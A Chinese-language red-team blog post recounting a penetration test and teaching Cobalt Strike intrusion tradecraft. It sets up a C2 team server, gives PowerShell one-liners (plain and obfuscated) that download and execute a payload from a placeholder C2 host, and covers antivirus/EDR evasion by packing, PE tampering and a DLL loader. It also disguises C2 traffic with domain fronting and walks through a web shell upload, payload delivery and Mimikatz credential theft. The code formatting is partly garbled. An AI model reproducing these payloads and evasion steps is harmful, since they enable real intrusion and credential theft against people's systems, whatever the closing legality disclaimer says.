一、从一次渗透测试说起

几年前,我接到一个渗透测试任务,目标是一家中型互联网公司,拥有自建的内网环境和一堆未公开的业务系统。我们红队的任务是模拟真实攻击,绕过边界防护,最终实现数据窃取。目标公司使用了国际知名的杀软和EDR,防护堪称严密。为了突破防线,我决定用Cobalt Strike这个红队武器。经过几轮测试和迭代,我成功上线了Beacon并横向移动到关键域控服务器。这篇文章会把整个上线的过程详细拆解,特别是绕过杀软和流量监控的技巧,供大家参考。

---

二、武器准备:Cobalt Strike环境搭建与配置

在渗透任务中,Cobalt Strike是红队不可或缺的工具。它的强大不仅体现在易用的用户界面,还包括高度定制化的Payload生成能力和对抗检测的功能。如果要让它发挥最大效果,配置C2服务端是第一步。

Cobalt Strike安装指南

这里假设已经获取合法授权的Cobalt Strike版本,安装配置的过程如下:

  1. 下载官方提供的Cobalt Strike zip包,解压后将文件置于运行环境中(建议Ubuntu/Debian 服务器)。
  2. 安装Java Runtime Environment(JRE),Cobalt Strike依赖Java运行:
  3. <pre><code class="language-bash"> sudo apt update sudo apt install openjdk-11-jre-headless -y `

  4. 配置团队服务器(Team Server),运行以下命令启动:
  5. `bash

默认端口为50050,可以通过参数指定其他端口

./teamserver &lt;外网IP&gt; &lt;授权密钥&gt; `

  1. 在本地使用客户端连接到Team Server:
  2. `bash java -jar cobaltstrike.jar `

完成后,你会看到Cobalt Strike的主界面,这里主要包括主控菜单、攻击模块和上线的Beacon管理模块。

---

三、Payload构造的艺术:定制上线载荷

上线的关键在于构造Payload,使其能绕过目标环境中的杀软和EDR,同时稳定上线。Cobalt Strike提供多种Payload生成方式,这里着重介绍两种:PowerShell PayloadEXE/DLL Payload

方法一:PowerShell Payload构造

PowerShell是渗透利器,许多目标环境都会安装它。Cobalt Strike可以生成PowerShell代码,直接在目标环境中执行。生成步骤如下:

  1. 在Cobalt Strike中,进入Attacks -&gt; Payload Generator
  2. 选择Windows PowerShell,根据需求设置Listener。
  3. 点击生成后,将返回一段PowerShell代码。

以下是一个示例生成的Payload:</code></pre>powershell powershell -nop -w hidden -c "[System.Net.WebRequest]::DefaultWebProxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object System.Net.WebClient).DownloadString('http://your-c2-server/payload.ps1')" <pre><code> 这段代码会从C2服务器下载并执行恶意载荷。为了避免被检测,可以做进一步混淆,以下是改进版:</code></pre>powershell powershell -nop -w hidden -c "$a=New-Object Net.WebClient;$a.Proxy=[Net.WebRequest]::GetSystemWebProxy();$a.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX($a.DownloadString('http://your-c2-server/payload.ps1'))" <pre><code>

方法二:EXE/DLL Payload构造

EXE和DLL是一种更直接的上线方式,适用于目标环境中允许运行可执行文件的场景。生成步骤如下:

黑客示意图

  1. 在Cobalt Strike中,进入Attacks -&gt; Payload Generator
  2. 选择Windows Executable (S)Windows DLL.
  3. 设置Listener后点击生成,保存文件到本地。

黑客示意图

生成的EXE或DLL文件需要进一步进行免杀处理,这部分内容见后续章节。

---

四、绕过检测:免杀与流量伪装技巧

在目标环境上线的最大难题是绕过杀软和EDR。这里总结了几种有效的免杀和伪装策略,供实战中参考。

免杀处理

方法1:修改PE文件属性 通过工具PE-bearHxD修改生成的EXE/DLL文件的PE头信息,比如随机化编译时间戳、修改导入表。

方法2:加壳工具 使用工具比如UPX进行简单加壳处理:</code></pre>bash upx --best --lzma payload.exe <pre><code>此外,可以使用VmProtectThemida进行高级加壳。

方法3:编写自定义加载器 使用Python或C++编写加载器,动态加载恶意DLL到内存中执行,避免落地文件被检测。

以下是一个Python加载DLL的示例:</code></pre>python import ctypes

加载DLL到内存

dll_path = "C:\\Users\\Public\\malicious.dll" ctypes.windll.LoadLibrary(dll_path) `

流量伪装

上线流量需要尽可能伪装成正常数据,以绕过网络层的流量监控。Cobalt Strike支持以下伪装技术:

  1. HTTP流量伪装
  2. 配置C2使用HTTP GET/POST请求,模拟正常的Web访问: `bash set header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" set header "Accept-Language: en-US,en;q=0.5" `

  1. 域前置(Domain Fronting)
  2. 使用合法域名作为流量的前置代理,可以隐藏真实C2服务器地址。

---

五、实战上线:完整攻击链复盘

以下是复盘我之前的一次成功上线过程,展示完整攻击链:

  1. 信息收集
  2. 利用公开源调查目标公司的外网资产,发现一台对外暴露的开发测试服务器。

黑客示意图

  1. 漏洞利用
  2. 测试服务器存在未授权的文件上传功能,我上传了一个带有恶意Web Shell的PHP文件。

  1. Payload投递
  2. 通过Web Shell执行PowerShell命令,投递Cobalt Strike生成的PowerShell Payload。

  1. 上线成功
  2. Beacon成功上线到C2服务器,我在Cobalt Strike中观察到目标机器的信息。

  1. 横向移动
  2. 利用Mimikatz抓取目标服务器的认证凭据,并在内网中横向渗透到目标域控。

---

六、个人经验谈:如何在实战中优化上线

  1. 多Payload备选:每次渗透任务,都准备至少两种以上的Payload类型,在目标环境中灵活选择。
  2. 环境模拟测试:提前搭建类似目标的环境,测试Payload的免杀效果。
  3. 细节决定成败:比如流量伪装时,模拟真实的浏览器User-Agent,语言设置等细节。

---

合法声明:本文仅面向授权的安全测试和研究,任何未经许可的攻击行为均属违法,切勿用于非法用途!